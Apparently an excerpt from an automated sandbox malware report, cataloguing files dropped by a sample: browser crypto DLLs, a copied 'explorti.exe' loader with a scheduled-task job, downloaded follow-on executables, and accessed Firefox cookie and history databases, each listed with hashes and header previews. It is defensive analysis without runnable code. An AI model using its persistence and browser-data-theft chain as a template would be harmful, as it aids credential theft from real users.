Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1914880
Entropy (8bit):	7.947161458202048
Encrypted:	false
SSDEEP:	49152:M+f8i6m4axMrP/NDavx27Zyz7wCkP/PsPKLkBO3iJMBBwjxOT:Mi8baxMrP/NYoZyz7wJ/PsE/3wg
MD5:	29AF55C68D51C9EF3C35850BEC56664D
SHA1:	6E050F9B50ED1E6F81719951BB932DEDD13E844F
SHA-256:	C4E0AF18AA1069FF5E0468ED2C5B0E08B3CF453752CA73F59A88223D72A8D20E
SHA-512:	8420E9A7461BD10557FE58195FB3E58FB45D4926FC4F45CD6C5FEEB4BDDF86E771CE71B088D5645BDCDE768FE8C2496FB149DC8964D07D35004A3D4FAA35F05E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................K...........@.................................X...l............................lK.............................tlK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...ardsdpuc. ...P1.. ..................@...iyggtkqf.....pK.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.035563548290413
Encrypted:	false
SSDEEP:	24576:gqDEvCTbMWu7rQYlBQcBiT6rprG8au/2+b+HdiJUX:gTvC/MTQYxsWR7au/2+b+HoJU
MD5:	619F9806AB2FAD61F931922DD30EDE7F
SHA1:	E37A5D0ABEE7F33F31001DFB6352F7282FAE174A
SHA-256:	6948115E88783353BEC40BF54A6D10C614FD1332848E6CE2F8A1932C918998AC
SHA-512:	3B6DF4CD430AC31E10A4D957A995073BFE582FD3965D69A108D62D0D6429A26083E533FC954E734B1C1E16450EA258E86BEC6923A24373AB842F231600FF6935
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....f..........".................w.............@..........................0......#.....@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2531328
Entropy (8bit):	7.986851468429164
Encrypted:	false
SSDEEP:	49152:dc/mElxBTP/0/61ZoXBVkeqDCltseXUKiOUqhpNWLQ9OYwQEUs:LiL0eGAequ4KVJhpEWO5QRs
MD5:	9C923D102F7688EF4E407B893FE8D448
SHA1:	6C994BAD35A92E0B9154684EBB8E73D9684B2E61
SHA-256:	9F5B516487CC6C3218EFB06CB2EBCC72CE724DC64AA84D217464AF873C048B7A
SHA-512:	3E6738D1665255515F38B0500DAF7BB1B261294AFEF96107BF5D5EBC33A4571583262EB4B60AD92751EF348B195061510B876389D760CCD83D71C49D6BA828AC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....f......................!.....t%............@..........................@............@... .. .... .. .......... ...W...x...........................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............y...#..(..................@....data....p".....l"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2531328
Entropy (8bit):	7.986851468429164
Encrypted:	false
SSDEEP:	49152:dc/mElxBTP/0/61ZoXBVkeqDCltseXUKiOUqhpNWLQ9OYwQEUs:LiL0eGAequ4KVJhpEWO5QRs
MD5:	9C923D102F7688EF4E407B893FE8D448
SHA1:	6C994BAD35A92E0B9154684EBB8E73D9684B2E61
SHA-256:	9F5B516487CC6C3218EFB06CB2EBCC72CE724DC64AA84D217464AF873C048B7A
SHA-512:	3E6738D1665255515F38B0500DAF7BB1B261294AFEF96107BF5D5EBC33A4571583262EB4B60AD92751EF348B195061510B876389D760CCD83D71C49D6BA828AC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....f......................!.....t%............@..........................@............@... .. .... .. .......... ...W...x...........................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............y...#..(..................@....data....p".....l"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.035563548290413
Encrypted:	false
SSDEEP:	24576:gqDEvCTbMWu7rQYlBQcBiT6rprG8au/2+b+HdiJUX:gTvC/MTQYxsWR7au/2+b+HoJU
MD5:	619F9806AB2FAD61F931922DD30EDE7F
SHA1:	E37A5D0ABEE7F33F31001DFB6352F7282FAE174A
SHA-256:	6948115E88783353BEC40BF54A6D10C614FD1332848E6CE2F8A1932C918998AC
SHA-512:	3B6DF4CD430AC31E10A4D957A995073BFE582FD3965D69A108D62D0D6429A26083E533FC954E734B1C1E16450EA258E86BEC6923A24373AB842F231600FF6935
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....f..........".................w.............@..........................0......#.....@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1914880
Entropy (8bit):	7.947161458202048
Encrypted:	false
SSDEEP:	49152:M+f8i6m4axMrP/NDavx27Zyz7wCkP/PsPKLkBO3iJMBBwjxOT:Mi8baxMrP/NYoZyz7wJ/PsE/3wg
MD5:	29AF55C68D51C9EF3C35850BEC56664D
SHA1:	6E050F9B50ED1E6F81719951BB932DEDD13E844F
SHA-256:	C4E0AF18AA1069FF5E0468ED2C5B0E08B3CF453752CA73F59A88223D72A8D20E
SHA-512:	8420E9A7461BD10557FE58195FB3E58FB45D4926FC4F45CD6C5FEEB4BDDF86E771CE71B088D5645BDCDE768FE8C2496FB149DC8964D07D35004A3D4FAA35F05E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................K...........@.................................X...l............................lK.............................tlK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...ardsdpuc. ...P1.. ..................@...iyggtkqf.....pK.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1914880
Entropy (8bit):	7.947161458202048
Encrypted:	false
SSDEEP:	49152:M+f8i6m4axMrP/NDavx27Zyz7wCkP/PsPKLkBO3iJMBBwjxOT:Mi8baxMrP/NYoZyz7wJ/PsE/3wg
MD5:	29AF55C68D51C9EF3C35850BEC56664D
SHA1:	6E050F9B50ED1E6F81719951BB932DEDD13E844F
SHA-256:	C4E0AF18AA1069FF5E0468ED2C5B0E08B3CF453752CA73F59A88223D72A8D20E
SHA-512:	8420E9A7461BD10557FE58195FB3E58FB45D4926FC4F45CD6C5FEEB4BDDF86E771CE71B088D5645BDCDE768FE8C2496FB149DC8964D07D35004A3D4FAA35F05E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................K...........@.................................X...l............................lK.............................tlK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...ardsdpuc. ...P1.. ..................@...iyggtkqf.....pK.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.426359511805088
Encrypted:	false
SSDEEP:	6:zD41/VX4RKUEZ+lX1QYShMl6lm6tPjgsW2YRZuy0l1rQldt0:o1Z4RKQ13vg7jzvYRQV1rQldt0
MD5:	E23AE7B35004BD0B7CEACB085E39432E
SHA1:	4C11566276E458B21C0EADA3FAF6BDA75CEDCBE3
SHA-256:	1EB6182EE6E39C5551E1E6BA2BBD16FE1FF0DF251C69A0400DA76C94E507E26B
SHA-512:	9CC81AC100869F2DEB7002096B31E9039381A3791A21868DB25560F60A08347BC19A127D502035127B54B6E9FD52DC4C1F381DE7E11C14B64686454630318128
Malicious:	false
Preview:	.....v.[)..B.a....a.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................#.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.462939961014177
Encrypted:	false
SSDEEP:	6144:lIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:GXD94+WlLZMM6YFHg+n
MD5:	ED829158849EAFE3D018CAD24F56A6D1
SHA1:	C20557E8A2896B6B64D9666EF61849100AEDC47C
